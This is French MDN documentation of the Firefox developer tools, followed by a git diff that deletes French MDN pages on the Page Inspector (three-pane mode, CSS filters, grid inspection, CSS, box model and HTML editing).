Ce bouton apparait lorsqu'il y a plusieurs iframe dans la page. Cliquer dessus affiche la liste des iframes sur la page actuelle, et permet de sélectionner celle ciblée par les outils.
Ce bouton permet de prendre une capture d'écran de la page. (Note: Cette fonctionnalité n'est pas activée par défaut, et doit être activée dans les paramètres avant).
Active le mode Vue Adaptative.
Ouvre le menu qui inclut les options d'ancrage, la possibilités d'activer la console scindée, et d'afficher les options des outils de développement. Ce menu inclut également des liens vers la documentation des outils de développement de Firefox et vers la communauté Mozilla.
Ferme les outils de développement.
- -
-
-

Inspecteur

- -

The all-new Inspector panel in Firefox 57.

- -

Permet de voir et modifier une page en HTML et en CSS. Permet de visualiser différents aspects de la page y compris les animations, l'agencement de la grille.

-
- -
-

Console Web

- -

The all-new Console in Firefox 57.

- -

Affiche les messages émis par la page web. Permet également d'interagir avec la page via JavaScript.

-
-
- -
-
-
-

Débogueur JavaScript

- -

The all-new Firefox 57 Debugger.html

- -

Permet de parcourir, stopper, examiner et modifier le code JavaScript s’exécutant dans une page

-
- -
-

Réseau

- -

The Network panel in Firefox 57 DevTools.

- -

Permet d'inspecter les requêtes réseau lors du chargement de la page.

-
-
- -
-
-
-

Performances

- -

Performance Tools in Firefox 57 Developer Tools

- -

Permet d'analyser les performances de la réactivité globale, du JavaScript et, de l'agencement des sites.

-
- -
-

Vue Adaptative

- -

Responsive Design mode in Firefox 57.

- -

Permet de voir comment un site web ou une application se comporte avec différents types d'appareils et de connexions.

-
-
- -
-
-

Inspecteur d'Accessibilité

- -

Performance Tools in Firefox 57 Developer Tools

- -

Permet d’examiner l’arborescence d’accessibilité de la page courante, qui est utilisée par les lecteurs d’écran et d’autres technologies d’assistance, afin de pouvoir savoir ce qui manque ou ce qui peut être amélioré.

-
- -
-
- -
-

Note: Le terme utilisé pour designer l'interface qui contient tout les outils de dévelopement est: La boîte à outils.

-
- -

Outils supplémentaires

- -

Ces outils sont également inclus dans Firefox. Mais, contrairement aux « Outils principaux », il est possible qu'ils soient utilisés moins régulièrement.

- -
-
-
Mémoire
-
Déterminer quels objets prennent de la place en mémoire.
-
Inspecteur de Stockage
-
Inspecter les cookies, le stockage local, l'indexedDB, et le stockage de session présent dans une page.
-
DOM Property Viewer
-
Inspecter les propriétés DOM d'une page (fonctions, etc.)
-
Pipette
-
Sélectionner une couleur de la page.
-
Ardoise JavaScript
-
Un éditeur de texte intégré à Firefox qui permet d'écrire et d'exécuter du JavaScript..
-
Éditeur de Styles
-
Voir et modifier les styles CSS de la page affichée.
-
Éditeur de Shaders
-
Voir et éditer les vertex shaders et les fragment shaders utilisés par WebGL.
-
Éditeur Web Audio
-
Examiner les nœuds audio dans un contexte audio, et modifier leurs paramètres.
-
Capture d'écran
-
Prendre une capture d'écran de la page entière ou d'un seul élément
-
Mesurer une portion de la page
-
Mesurer une zone spécifique de la page web
-
Règles
-
Afficher des règles verticales et horizontales sur une page web
-
-
- -
-
-
-

- -

Pour avoir la dernière version des outils de développement, il y a : Firefox Developer Edition

- -

Télécharger Firefox Developer Edition

-
-
- -

Connecter les outils de développement

- -

Si vous ouvrez les outils de développent avec des raccourcis clavier ou les éléments équivalents du menu, ils cibleront la page actuellement ouverte dans l'onglet actif. Il est cependant possible également d'attacher ces outils à diverses autres cibles, à la fois dans le navigateur ouvert et dans d'autres navigateurs et même dans d'autres appareils.

- -
-
-
about:debugging
-
Déboguer des modules complémentaires, des onglets de contenu et ceux qui travaillent dans l'explorateur.
-
Se connecter à Firefox pour Android
-
Connecter les outils de développement à une instance de Firefox s'exécutant sur un appareil Android.
-
Se connecter aux iframes
-
Connecter les outils de développement sur un iframe donné dans la page en cours.
-
Se connecter aux autres navigateurs
-
Connecter les outils de développement à Chrome pour Android et Safari pour IOS.
-
-
- -
-

Déboguer le navigateur

- -

Par défaut, les outils de développement sont attachés à une page ou une application Web. Il est cependant possible de les connecter au navigateur en lui même. C'est utile lors de développements portant sur le navigateur ou sur un module complémentaire.

- -
-
-
Console du navigateur
-
Voir les messages issus du navigateur lui-même et des modules, et exécuter du code JavaScript dans le contexte du navigateur.
-
Boîte à outils du navigateur
-
Attacher les outils de développement au navigateur lui-même.
-
-
- -
-

Étendre les outils de développement

- -

Pour en savoir plus sur l'extension des outils de développement de Firefox, voir Extension des outils de développement dans la section WebExtensions de MDN.

- -

Migrer de Firebug

- -

Firebug est arrivé en fin de vie (voir Firebug, présent en esprit dans les outils de Firefox sur le pourquoi du comment), et nous sommes conscients que certains peuvent avoir du mal à faire la transition. Pour faciliter celle-ci, nous avons écrit un guide pratique : Migrer depuis Firebug.

- -
-

Contribuer

- -

Si vous voulez aider à améliorer les outils de développement, voici les ressources qui vous mettront le pied à l'étrier :

- -
-
-
S'impliquer
-
La page de documentation expliquant comment s'impliquer.
-
firefox-dev.tools
-
Un outil pour aider à trouver des bugs sur lesquels travailler.
-
-
diff --git a/files/fr/outils/index/index.html b/files/fr/outils/index/index.html deleted file mode 100644 index 7b9cbade37..0000000000 --- a/files/fr/outils/index/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Index -slug: Outils/Index -tags: - - Outils -translation_of: Tools/Index ---- -
{{ToolsSidebar}}

{{Index("/fr/docs/Outils")}}

diff --git a/files/fr/outils/inspecteur/3-pane_mode/index.html b/files/fr/outils/inspecteur/3-pane_mode/index.html deleted file mode 100644 index 763f953ad3..0000000000 --- a/files/fr/outils/inspecteur/3-pane_mode/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Mode 3 panneaux de l'Inspecteur -slug: Outils/Inspecteur/3-pane_mode -translation_of: Tools/Page_Inspector/3-pane_mode ---- -
{{ToolsSidebar}}
- -

Cet article explique comment utiliser le mode 3 panneaux de l'Inspecteur.

- -

Résumé de la fonctionnalité

- -

Depuis Firefox 62, l'Inspecteur possède un nouveau mode : le mode 3 panneaux. Lorsqu'il est activé, il permet de voir les panneaux suivants :

- - - -

The Firefox page inspector in 3 pane mode, with HTML pane on left, CSS rules pane in center, and CSS tool tabs on right

- -
-

Note: Si la fenêtre n'est pas assez large, le panneau des onglets s'affiche en dessous du panneau des règles CSS.

-
- -

Avoir les règles CSS dans leur propre panneau est très utile, car cela permet non seulement d'inspecter l'HTML et d'éditer le CSS qui lui est appliqué, mais aussi d'en voir les effets sur les fonctionnalités CSS tels que les styles calculés et les grilles en temps réel. Il suffit d'avoir les panneaux concernés d'ouvert pour voir les effets.

- -

Un guide rapide

- -

Le mode 3 panneaux est désactivé par défaut. Pour l'activer, il suffit d'appuyer sur le bouton en haut à gauche du panneau des onglets de l'Inspecteur.

- -

a view of the tabs panel, showing the 2 to 3 pane toggle icon

- -

Avant.

- -

The Firefox page inspector in 2 pane mode, with HTML pane on left and CSS tool tabs on right

- -

Après.

- -

The Firefox page inspector in 3 pane mode, with HTML pane on left, CSS rules pane in center, and CSS tool tabs on right

- -

Avec le mode 6 panneaux activé, il est possible d'observer des changements des fonctionnalités CSS en temps réel lorsque les règles en question sont modifiées. Par exemple, il est possible d'éditer une propriété de grille CSS et d'observer les changements immédiats dans l'Inspecteur de grilles.

- -

{{EmbedYouTube("ELS2OOUvxIw")}}

- -

Activer le mode 3 panneaux avant Firefox 62

- -

Dans les versions antérieures de Firefox (mais depuis Firefox 59/60), il est possible d'activer le mode 3 panneaux dans les versions Release/Beta en allant dans about:config et en passant les préférences suivantes à  true :

- -

devtools.inspector.split-rule-enabled — Cela active/Désactive le mode 3 panneaux.

- -

devtools.inspector.split-sidebar-toggle — Active le bouton UI qui permet d'activer/désactiver le mode.

- -

Dans Firefox 61, ces préférences ont été renommés en :

- -
    -
  • devtools.inspector.three-pane-enabled
    • -
  • devtools.inspector.three-pane-toggle
    • -
- -

YIl est nécessaire de passer ces deux préférences à true dans les versions Release/Beta de Firefox 61 pour tester cette fonctionnalité.

- -
-

Note: Le mode 3 panneaux est activé par défaut dans les versions Nightly/Developer edition avant Firefox 62.

-
diff --git a/files/fr/outils/inspecteur/comment/edition_filtres_css/index.html b/files/fr/outils/inspecteur/comment/edition_filtres_css/index.html deleted file mode 100644 index 75d7f15f39..0000000000 --- a/files/fr/outils/inspecteur/comment/edition_filtres_css/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Edition des filtres CSS -slug: Outils/Inspecteur/Comment/Edition_filtres_css -translation_of: Tools/Page_Inspector/How_to/Edit_CSS_filters ---- -
{{ToolsSidebar}}
- -

Les propriétés filter dans la vue Règles ont une icône ronde à fond gris/blanc : 

- -

- -

Cliquer sur le rond ouvre l'éditeur de filtre :

- -

- -

L'éditeur de filtre liste chaque effet sur sa propre ligne. Il est alors possible d'ajouter, de supprimer, d'éditer les filtres et de changer l'ordre dans lesquels ils sont appliqués

- -

Il est également possible d'ajouter de nouveaux effets grâce à la liste en bas de l'éditeur. Il suffit de cliquer sur le bouton "+" une fois l'effet voulu sélectionné dans la liste.

- -

- -

Une fois l'effet rajouté, il faut spécifier les paramètres voulus puis appuyer sur Entrée pour mettre a jour l'effet. Le changement sera effectif après Entrée.

- -

Enregistrer des filtres

- -

Il est possible d'ajouter des filtres à une liste de configuration. La liste sera persistante aux entre plusieurs sessions du navigateur, rendant ainsi l'application d'effets facile dans le futur.

- -

Voici comment enregistrer le filtre actuel dans la liste :

- -
    -
  • Cliquer pour éditer le filtre, afficher la liste de configuration en cliquant sur l’icône mise en avant dans la capture ci-dessous.
    • -
  • Nommez votre configuration, puis cliquer sur le bouton "+" pour l'ajouter à la liste.
    • -
- -

- -

Il est ainsi possible d'appliquer des filtres sauvegardés à de nouveaux éléments. Il suffit de cliquer sur le nom d'une des configuration dans la liste.

diff --git a/files/fr/outils/inspecteur/comment/examine_grid_layouts/index.html b/files/fr/outils/inspecteur/comment/examine_grid_layouts/index.html deleted file mode 100644 index b653021231..0000000000 --- a/files/fr/outils/inspecteur/comment/examine_grid_layouts/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: "Inspecteur de grille CSS\_: examiner les grilles" -slug: Outils/Inspecteur/Comment/Examine_grid_layouts -translation_of: Tools/Page_Inspector/How_to/Examine_grid_layouts ---- -
{{ToolsSidebar}}
- -

L'inspecteur de grilles permet de trouver, d'examiner, et de modifier les grilles CSS en utilisant les outils de développement de Firefox

- -
-

Note: Les exemples montrés dans les captures d'écran ci-dessous sont tirés de Futurismo (Jen Simmons), des expériences "Variations on a grid", et de "live named grid area example" (Rachel Andrew).

-
- -

Découvrir les grilles CSS

- -

Lorsqu'un élément HTML d'une page possède l'attribut display: grid, des fonctionnalités des outils de développement sont activées pour fournir un accès simple aux fonctionnalités des grilles.

- -

Dans le panneau HTML

- -

Le panneau HTML, montrant un marqueur de grille

- -

Dans le panneau CSS

- -

Dans l'onglet règles du panneau CSS, toutes les instances d'une déclaration display: grid possèdent une icône de grille () :

- -

The CSS pane of the Firefox devtools, showing the CSS for a grid layout with a grid icon included next to display: grid

- -

Cliquer sur cette icône affiche une grille en superposition sur la page, afin de mettre en évidence la position des lignes et "tracks" de la grille CSS :

- -

Une superposition en couleur de la grille CSS

- -

La superposition reste affichée même lorsque d'autres éléments sont sélectionnés, il est donc possible d'éditer les propriétés CSS appropriées et en voir les effets sur la grille.

- -

La section "grilles" de l'onglet mise en page

- -

Lorsque des grilles sont incluses dans une page, l'onglet "Mise en page" du panneau CSS inclut une section "Grille", qui contient quelques options pour afficher celles-cis.

- -
-

Note: La vue "Mise en page" se situe dans le panneau de droite de l'Inspecteur. Les captures d'écran au-dessus et en dessous devraient aider à sa localisation.

-
- -

Options de grilles

- -

La section grille de l'onglet mise en page ressemble à ceci :Les options des grilles CSS

- -

Ces options sont :

- -
    -
  • Superposer une grille : contient une case à cocher pour chaque grille CSS présente sur la page,ainsi que quelques options . Cela permet de superposer une grille d'indication sur les grilles CSS.
    • -
  • Paramètres d'affichage des grilles : -
      -
    • Afficher le numéro des lignes : affiche le nombre de lignes pour chaque grille d'indication (option activée par défaut).
      • -
    • Afficher le nom des zones : active/désactive les noms des zones si la grille possède des noms de zones (activé par défaut quand utile).
      • -
    • Prolonger les lignes à l'infini : Par défaut, les lignes/tracks des grilles CSS ne sont affichées que dans l'élément sur lequel display: grid est attaché. Lorsque cette option est activée, les lignes de la grille d'indication se prolongent jusqu'au bord de la fenêtre sur chaque axe.
      • -
    -
    • -
  • Mini vue de grilles : Une vue réduite des grilles actuellement superposées.
    • -
- -
-

Note: Les préférences de grilles telles que la couleur de superposition et les paramètres d'affichage persistent au rechargement des pages (chacun sur sa page séparée).

-
- -

Grille de superposition

- -

Chaque grille présente sur la page, possède son entrée dans la section "superposer une grille" :

- -

Une entrée pour une seule grille de superposition affichant son nom, sa couleur, et plus

- -

Chaque entrée est composée de (de gauche à droite) :

- -
    -
  • Une case à cocher permettant d'activer/désactiver la superposition pour cette grille. Il est à noter qu'actuellement, une seule superposition à la fois est possible.
    • -
  • Un nom pour identifier la grille, il s'agit du sélecteur identifiant l'élément HTML auquel la grille est appliquée. Cliquer sur le nom active/désactive également la superposition.
    • -
  • Une icône de ciblage, qui sélectionne automatiquement dans l'Inspecteur l'élément HTML auquel la grille est rattachée.
    • -
  • Un sélecteur de couleur permettant de change la couleur de la superposition. C'est utile pour pouvoir facilement différencier la grille de sa superposition.
    • -
- -

Afficher le numéro des lignes

- -

Par défaut le numéro des lignes est affiché dans la superposition :

- -

Une superposition de grille CSS avec les numéros de lignes affichés

- -

Décocher la case "Afficher les numéros des lignes" les désactivent :

- -

A CSS grid overlay with grid line numbers not displayed

- -

Afficher le nom des zones

- -

Si une grille possède des noms de zones, ces noms seront automatiquement affichés par défaut dans la superposition :

- -

A CSS grid overlay with named area names displayed

- -

Décocher la case désactive cet affichage :

- -

A CSS grid overlay with named area names not displayed

- -

Prolonger les lignes à l'infini

- -

Par défaut les lignes/tracks ne sont affichées que dans l'élément sur laquelle la grille est appliquée :

- -

A CSS grid overlay with grid lines not extended infinitely

- -

Lorsque cette option est activée, les lignes se prolongent sur chaque axe jusqu'au bord de la fenêtre :

- -

A CSS grid overlay with grid lines extended infinitely

- -

Mini vue de la grille

- -

Affiche une version miniature de la superposition de la grile, en proportions correctes de la vraie.

- -

A mini CSS grid view from the Firefox DevTools

- -

Survoler les différentes zones de la mini grille, affichera en surbrillance la zone correspondante dans la vraie grille et fournira une infobulle avec des informations telles que la taille de la zone, sa ligne et sa colonne.

- -

A Firefox screenshot showing an area of a mini CSS grid being highlighted in the DevTools, and the corresponding area in the real grid being highlighted on the web page.

- -

À voir également

- - diff --git a/files/fr/outils/inspecteur/comment/examiner_et_modifier_le_css/index.html b/files/fr/outils/inspecteur/comment/examiner_et_modifier_le_css/index.html deleted file mode 100644 index c193dc25cd..0000000000 --- a/files/fr/outils/inspecteur/comment/examiner_et_modifier_le_css/index.html +++ /dev/null @@ -1,228 +0,0 @@ ---- -title: Examiner et modifier le CSS -slug: Outils/Inspecteur/Comment/Examiner_et_modifier_le_CSS -tags: - - Guide - - Inspector - - tool -translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_CSS ---- -
{{ToolsSidebar}}

Il est possible d'examiner et d'éditer le CSS via le panneau CSS.

- -

Examiner les règles CSS

- -

L'onglet des règles liste toutes les règles qui s'appliquent à l'élément sélectionné, ordonnés du plus spécifique au moins spécifique :

- -

- -

Une icône d'avertissement apparaitera à coté des styles non supportés ou invalides. Cela peut servir à comprendre pourquoi certains styles ne sont pas appliqués :

- -

- -

Affichage des règles

- -

Chaque règle est affichée comme dans une feuille de style : une liste de sélecteurs suivis des déclarations de type propriété:valeur; :

- -

- -
    -
  • Afficher en surbrillance les éléments correspondants: à côté du sélecteur, se trouve une icône en forme de cible. Cliquer sur celle-ci affichera tous les noeuds de la page qui correspondent à ce sélecteur.
    • -
  • Déclaration surchargée: les styles qui sont surchargés par des règles suivantes sont affichés "barrés". Voir déclarations surchargées
    • -
  • Afficher la cascade: à côté des déclarations surchargées, se trouve une icône en forme de loupe. Cliquer sur celle-ci affiche la cascade de règles contenant la propriété surchargée. Voir déclarations surchargées
    • -
  • Activer/Désactiver: Lors du survol d'une déclaration, une case à cocher apparait à côté de cette déclaration. Cette case sert à activer.désactiver la règle.
    • -
  • Nom de fichier et numéro de ligne: dans la partie droite, on retrouve un lien vers la règle. Voir lien vers le fichier CSS.
    • -
- -

Depuis Firefox 52, si un élément à une déclaration display: grid, alors une icône en forme de grille () apparait. Cliquer sur cette icône affiche une grille par-dessus la page. Voir examiner les  grilles pour plus d'informations.

- -

Pour lister les user-agent styles (les styles appliqués par le navigateur), il faut activer l'option « Afficher les styles du navigateur » dans les options des outils de développement. Il est à noter que cette option est indépendante de l'option « Styles navigateur » présente dans l'onglet « Calculé ».

- -

Les user-agent styles sont affichés sur un fond différent et le lien vers la feuille de style contient le préfixe (user agent) :

- -

- -

element {} rule

- -

La règle élément {} en haut de la liste des règles n'est pas réellement une règle CSS. C'est simplement la représentation des propriétés CSS assignée à l'élément via sont attribut {{htmlattrxref("style")}}.

- -

A partir de Firefox 52, cette règle obtient sa propre icône de cible (). Cela permet d'affiche facilement l'élément sélectionné de la page.

- -

{{EmbedYouTube("bQzOAFvEDco")}}

- -

Filtrer les règles

- -

La boite "Filtrer les styles" se trouve en haut de l'onglet des règles :

- -

Écrire une expression dans cette boite a pour effet que :

- -
    -
  • Toute règle ne contenant pas la chaine caractère tapée est cachée.
    • -
  • Toute déclaration contenant la chaine tapée est mise en surbrillance
    • -
- -

Cliquer sur l'icône en forme de "X" à la fin de la boîte supprime le filtre.

- -
-

Si l'onglet des règles est sélectionné, il est possible d'appuyer sur Ctrl / Cmd + F pour sélectioner le champ de recherche. Il est alors possible d'appuyer sur Esc pour supprimer le filtre.

-
- -

{{EmbedYouTube("9w8vDIWqnAE")}}

- -

Recherche stricte

- -

Par défaut, la recherche affiche toutes les déclarations qui contiennent une partie de la chaine de caractère de la recherche. Par exemple filtrer avec "color" afficher les déclarations contenant border-bottom-color et background-color en plus de color :

- -

- -

Si l'expression de recherche est encadrée ainsi : `color`, alors la recherche n'affiche que les correspondances exactes :

- -

- -

Étendre les propriétées raccourcies

- -

Les propriétées raccourcies peuvent être étendues pour afficher leur noms complets en cliquant sur la flèche à coté de celles-ci.

- -

Afficher les pseudo-elements

- -

L'onglet des règles peut afficher les pseudo-éléments suivant, si ceux ci sont appliqués à l'élément sélectioné :

- -

::after
- ::backdrop
- ::before
- ::first-letter
- ::first-line
- ::selection
- :-moz-color-swatch
- :-moz-number-spin-box
- :-moz-number-spin-down
- :-moz-number-spin-up
- :-moz-number-text
- :-moz-number-wrapper
- :-moz-placeholder
- :-moz-progress-bar
- :-moz-range-progress
- :-moz-range-thumb
- :-moz-range-track
- :-moz-selection

- -

Si l'élément sélection possède des pseudo-éléments appliqués, ils sont affichés avant la règle "élément", mais sont cachés par l'icone en forme de triangle :

- -

- -

Cliquer sur cette icône affiche les pseudo-éléments :

- -

- -

Activer :hover, :active, :focus

- -

Il y a un bouton à droite de la boite de recherche :

- -

Cliquer sur ce bouton afficher trois cases à cocher qui permettent d'activer les pseudo-classes {{cssxref(":hover")}}, {{cssxref(":active")}} et {{cssxref(":focus")}} pour l'élément sélectionné :

- -

Cette fonctionnalité est également accessible depuis le menu popup de l'onglet HTML.

- -

Si une de ces classes est activée pour un noeud, un point orange apparait dans l'onglet HTML pour chaque noeud pour lesquels la pseudo-classe a été appliquée :

- -

- -

Lien vers le fichier CSS

- -

En haut à droite de chaque règle, le nom du fichier source et le numéro de ligne de la règle est affiché sous forme de lien. Cliquer sur ce lien ouvre le fichier dans l'éditeur de style.

- -

Il est possible de copier l'emplacement du fichier source. Il suffit pour cela de faire un clic droit sur le lien et de sélectionner "Copier l'adresse".

- -

L'inspecteur comprend les source maps CSS. Cela signifie que si vous utilisez un préprocesseur CSS qui supporte les source maps, et que vous avez activé l'option « Afficher les sources originales » dans les options de l'éditeur de style, alors le lien pointera vers la source originale pas vers le CSS généré. Vous pouvez en apprendre plus sur le support des source map CSS dans la documentation de l'éditeur de style.

- -

Déclarations surchargées

- -

Si une déclaration CSS est surchargée par une autre règle avec plus d'importance, cette déclaration est affichée "barrée".

- -

Les déclarations surchargées ont une icône en forme de loupe à côté d'elles. Cliquer sur cette icône filtra les propriétés du noeud pour n'afficher que celles contenant des déclarations qui essayent de configurer la même propriété : Il s'agit d'une cascade complète pour une propriété donnée.

- -

Cela permet de savoir quelle règle surcharge quelle déclaration :

- -

{{EmbedYouTube("i9mDVjJAGwQ")}}

- -

Examiner le CSS calculé

- -

Pour voir le CSS calculé intégral pour l'élément sélectionné, il faut ouvrir l'onglet « Calculé ». Cet onglet montre la valeur calculée de chaque propriété CSS pour l'élément sélectionné :

- -

- -

Il est possible d'utiliser Tab pour itérer parmi les éléments. Depuis Firefox 49, ile st possible d'obtenir plus d'information sur la propriété sélectionnée en pressant F1 . Cela affiche la page MDN en référence à la propriété.

- -

Cliquer sur la flèche à côté du nom d'une propriété (ou presser Entrée ou Espace si elle est sélectionnée) affiche la règle qui fixe cette valeur, ainsi qu'un lien vers le fichier source :

- -

- -

Par défaut, cet onglet n'affiche que les valeurs qui ont été explicitement définies par la feuille de style. Pour voir toutes les valeurs, il faut cocher la case « Styles navigateur ».

- -

Effectuer une saisie dans la boite de recherche applique un filtre en temps réel sur la liste. Ainsi, si, par exemple, vous souhaitez uniquement afficher uniquement les paramètres liés aux polices d'écriture, vous pouvez taper « font » dans la boîte de recherche et seules les propriétés dont le nom contient « font » seront listées. Il est également possible de chercher les valeurs des propriétés : par exemple pour trouver la règle qui définit la police « Lucida Grande », il suffit de saisir cette valeur dans le champ de recherche.

- -
-

Dans l'onglet des règles calculé,  il est possible d'utiliser le raccourci clavier Ctrl / Cmd + F pour sélectioner le champ de recherche. Ensuite il est possible de supprimer la recherche avec Esc.

-
- -

Modifier les règles

- -

Cliquer sur une déclaration ou un sélecteur dans l'onglet des règles permet de les éditer et d'observer immédiatement le résultat. Il est également possible de parcourir les différentes propriétés et valeurs avec Tab, et de les éditer avec Entrée ou Espace. Pour ajouter une nouvelle déclaration, il faut cliquer sur la dernière ligne de la règle (celle où il y a l’accolade fermante).

- -

Alors que le nom de la propriété est en train d'être écrite, une liste d'auto complétions s'affiche. Appuyer sur Tab  accepte la suggestion sélectionnée, et Flèche Haut et Flèche Bas permettent de se déplacer dans la liste. La suggestion sélectionnée par défaut est la propriété la plus commune commençant par les lettres tapées. Ici par exemple, l'utilisateur à tapé "c", et le choix par défaut est "color" :

- -

- -

Si le nom de la propriété est erroné ou inconnu, une icône jaune d'alerte s'affichera alors à côté de la déclaration.

- -
-

Note: Depuis Firefox 60 les noms de variable CSS sont également autocomplétés (voir {{bug(1422635)}}). Taper var( dans une valeur de propriété et ensuite rentrer un tiret (-), fera apparaitre toutes les variables déclarées dans le CSS dans une liste d'autocomplétion.
-
-

-
- -

Attention, tous les changements effectués sont temporaires : recharger la page restaure le style original.

- -

Il est possible d'utiliser les flèches haut/bas et les touches page haut/bas pour augmenter/diminuer les valeurs numériques lorsqu'on modifie une règle :

- -
    -
  • La flèche haut augmentera les valeurs de 1. "1px" changera en "2px", par exemple.
    • -
  • Maj + flèche haut/bas modifiera de 10.
    • -
  • Alt + flèche haut/bas modifie de 0.1. Il est a noter que depuis Firefox 60, cette combinaison a été remplacée par Ctrl + Haut/Bas sur Linux et Windows pour éviter les conflits avec les raccourcis par défaut de ces systèmes d'exploitation (voir {{bug("1413314")}}). Le raccourci est resté le même sous Mac OS - — Ctrl + Haut sous Mac OS est le raccourci par défaut pour ouvrir Mission Control.
    • -
  • Maj + Page haut/bas modifie de 100.
    • -
- -

Les modifications apportées dans l'onglet des règles sont visibles dans l'Éditeur de Style, et vice versa.

- -

A partir de Firefox 52, lors de l'édition de CSS, le menu contextuel est celui par défaut pour la modification de texte :

- -

- -

Ajouter de nouvelles règles

- -

Pour ajouter de nouvelles règles, il suffit de faire un clic droit pour afficher le menu contextuel puis de sélectionner « Ajouter une règle ». Cela ajoutera une règle qui correspond au nœud du document qui est sélectionné.

- -

- -

Il existe également un bouton pour faire la même chose :

- -

- -

Copie une règle

- -

Pour copier une règle, il faut utiliser une des options suivantes du menu contextuel (clic droit) :

- -
    -
  • Copier la règle
    • -
  • Copier le sélecteur
    • -
  • Copier la déclaration de la propriété
    • -
  • Copier le nom de la propriété
    • -
  • Copier la valeur de la propriété
    • -
- -

- -

Voir aussi

- -
    -
  • La liste complète des raccourcis clavier de l'Inspecteur.
    • -
  • L'inspecteur inclut également divers outils pour travailler avec des fonctionnalités CSS spécifiques telles que les couleurs, les polices et les animations. Pour en apprendre plus sur ces fonctionnalités, voir les guides pratiques.
    • -
diff --git "a/files/fr/outils/inspecteur/comment/examiner_et_modifier_le_mod\303\250le_de_bo\303\256te/index.html" "b/files/fr/outils/inspecteur/comment/examiner_et_modifier_le_mod\303\250le_de_bo\303\256te/index.html" deleted file mode 100644 index 1c890f872b..0000000000 --- "a/files/fr/outils/inspecteur/comment/examiner_et_modifier_le_mod\303\250le_de_bo\303\256te/index.html" +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Examiner et modifier le modèle de boîte -slug: Outils/Inspecteur/Comment/Examiner_et_modifier_le_modèle_de_boîte -tags: - - Guide - - Tools -translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model ---- -
{{ToolsSidebar}}

Examiner le modèle de boîte

- -

En ayant le bouton de Sélection d'éléments activé, survoler un élément de la page aura pour effet d'afficher son modèle de boite en surbrillance :

- -

{{EmbedYouTube("vDRzN-svJHQ")}}

- -

Survoler le noeud d'un élément dans le panneau HTML l'affichera également :

- -

{{EmbedYouTube("xA4IxTttNLk")}}

- -

La vue "modèle de boite"

- -

Lorsqu'un élément est sélectionné, il est possible d'avoir un aperçu détaillé du modèle de boite dans la vue modèle de boite :

- -

- -

Survoler une valeur affichera une infobulle indiquant d'où la valeur est issue :

- -

- -

Survoler une partie du modèle de boite dans cette vue affiche la partie correspondante de l'élément dans la page :

- -

{{EmbedYouTube("H3ZxRbbyfwI")}}

- -

Éditer le modèle de boites

- -

Il est également possible d'éditer les valeurs dans la vue modèle de boite et les changements dans la page sont affiché immédiatement :

- -

{{EmbedYouTube("gHjDjM8GJ9I")}}

diff --git "a/files/fr/outils/inspecteur/comment/examiner_et_\303\251diter_le_code_html/index.html" "b/files/fr/outils/inspecteur/comment/examiner_et_\303\251diter_le_code_html/index.html" deleted file mode 100644 index d71e356662..0000000000 --- "a/files/fr/outils/inspecteur/comment/examiner_et_\303\251diter_le_code_html/index.html" +++ /dev/null @@ -1,326 +0,0 @@ ---- -title: Éxaminer et modifier le code HTML -slug: Outils/Inspecteur/Comment/Examiner_et_éditer_le_code_HTML -tags: - - Guide - - Inspector - - Outils - - Tools -translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_HTML ---- -
{{ToolsSidebar}}
- -

Il est possible d’examiner et d'éditer le code HTML d'une page grâce au panneau HTML.

- - - -

Fil d'Ariane HTML

- -

En bas du panneau HTML, se trouve un fil d'Ariane. Ce fil affiche l'a hiérarchie complète de l'élément sélectionné dans la page :

- -

- -

Survoler un élément du fil mettra celui-ci en surbrillance dans la page.

- -

Le fil possède ses propres raccourcis clavier.

- -
-

Il est à noter que dans les versions antérieures à Firefox 48, le fil d'Ariane se trouvait en haut du panneau et non en bas.

-
- -

Recherche

- -

À partir de Firefox 45, la boite de recherche de l'Inspecteur trouve les correspondances dans tout le markup du document ouvert, ainsi que dans toutes les frames.

- -

Pour commencer une recherche, il suffit de cliquer sur la boîte de recherche pour l'agrandir ou bien d'utiliser les raccourcis clavier Ctrl + F , ou Cmd + F sous Mac.

- -

Lors de la saisie, une pop-up d'autocomplétion affiche toutes les classes ou ID  qui correspondent à la recherche en cours :

- -

- -

Pour itérer parmi les suggestions, il faut utiliser Flèche Haut et Flèche Bas. Tab permet de choisir la suggestion sélectionnée. Entrée permet alors de sélectionner le premier noeud correspondant.

- -

Si la recherche est faite sans utiliser de valeur d'autocomplétion, alors la recherche sera effectuée sur tout le texte du document, incluant les balises, les attributs, et le contenu textuel des noeuds.

- -

{{EmbedYouTube("AKBhnfp1Opo")}}

- -

Pour parcourir les résultats, il faut utiliser Enter . Depuis Firefox 48, il est possible d'itérer à l'envers avec  Maj + Enter .

- -

Arbre HTML

- -

Le reste du panneau affiche le HTML de la page sous forme d'arbre (cette interface est également appelée Markup View). À la gauche de chaque nœud se trouve une flèche, cliquer sur celle-ci développera le nœud. appuyer sur la touche "Alt" développera tous les nœuds inclus dans l'élément.

- -

The new Firefox 57 inspector HTML tree.Survoler un élément dans l'arbre mettra celui-ci en surbrillance dans la page.

- -

Les nœuds qui ne sont pas visibles (par exemple avec display:none) sont affichés en transparence dans l'arbre.

- -

Depuis Firefox 53, une ellipse est affichée entre la balise ouvrante et fermante d'un élément réduit à cause d'un contenu trop long.

- -

Avant Firefox 53, il était impossible de déterminer si noeud réduit avait des enfants. Maintenant, ce cas est indiqué par une icône de points de suspension ( )

- -
-

Note: Il existe des raccourcis clavier fort pratiques qui peuvent être utilisés dans l'arbre HTML : voir la liste des raccourcis clavier.

-
- -

::before et ::after

- -

Depuis Firefox 35, il est possible d'inspecter les pseudo éléments ajoutés en utilisant {{cssxref("::before")}} et {{cssxref("::after")}} :

- -

{{EmbedYouTube("ecfqTGvzsNc")}}

- -

Noeuds ne contenant que des espaces

- -
Nouveauté de Firefox 52
- -

Les développeurs web n'écrivent (généralement) pas tout leur code en une seule ligne. Ils utilisent des espaces, des retours à la ligne, ou des tabulations dans leur HTML pour le rendre plus lisible.

- -

